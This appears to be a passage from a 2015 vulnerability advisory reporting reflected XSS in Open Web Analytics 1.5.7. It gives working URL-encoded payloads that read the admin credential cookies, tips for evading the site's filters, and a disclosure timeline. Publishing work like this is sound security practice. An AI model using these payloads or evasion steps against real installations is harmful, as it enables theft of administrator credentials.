Since we cannot seem to echo the password using document.cookie we will use window.document['cookie'] to gain access to admin password. The application uses the admin username and password as persistant browser cookies which is our dream come true! e.g. retrieved username & passwd via XSS ( owa_u=admin; owa_p=76ffbb8d470d6a402b3c429f35be8a1a ) user: admin / passwd: abc123 Also a second XSS vector exists in Install PHP script via POST request in the Email address field. Exploit code(s): ================ XSS(s) POC: 1- Steal username & password XSS, in this example we inject our malicious payload into the middle of the site ID hash. http://localhost/Open-Web-Analytics-1.5.7/Open-Web-Analytics-1.5.7/index.php?owa_do=base.sitesInvocation&owa_siteId=e9144cf4%22/%3E%22--%3E%3CDIV%20id=%27HELL%27%20onMouseMove=alert%28window.document[%27cookie%27]%29;%3C!-- Injecting <script> tags seems to be problem, we will defeat that by injecting our own <DIV id='HELL'> tag and call our JS function using the DOMS onMouseOver() event listener we can also use onMouseMove() etc... Application seems to filter %20 white space, however we can bypass that using 'x20' raw hex representation. Finally, to make it execute without interference we need to comment out the rest of the code within the webpage by inject '<!--' begin comments script right after our evil JS. vuln param: owa_siteId 2- http://localhost/Open-Web-Analytics-1.5.7/Open-Web-Analytics-1.5.7/index.php?owa_site_id=&owa_status_code=25%22/%3E%22--%3E%3CDIV%20id=%27hell%27%20onMouseMove=alert%28window.document[%27cookie%27]%29;%3C!--00&owa_do=base.optionsGeneral& vuln param: owa_status_code 2- install.php XSS: http://localhost/Open-Web-Analytics-1.5.7/Open-Web-Analytics-1.5.7/install.php?owa_site_id=&owa_do=base.installDefaultsEntry& Inject " onMouseOver="alert(666); into Email address field and submit form. vuln param: owa_email_address Disclosure Timeline: ========================================================= Vendor Notification: July 17, 2015 July 22, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] GET / POST Vulnerable Product: [+] Open-Web-Analytics-1.5.7 Vulnerable Parameter(s): [+] owa_siteId, owa_status_code, owa_email_address Affected Area(s): [+] Admin =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given.
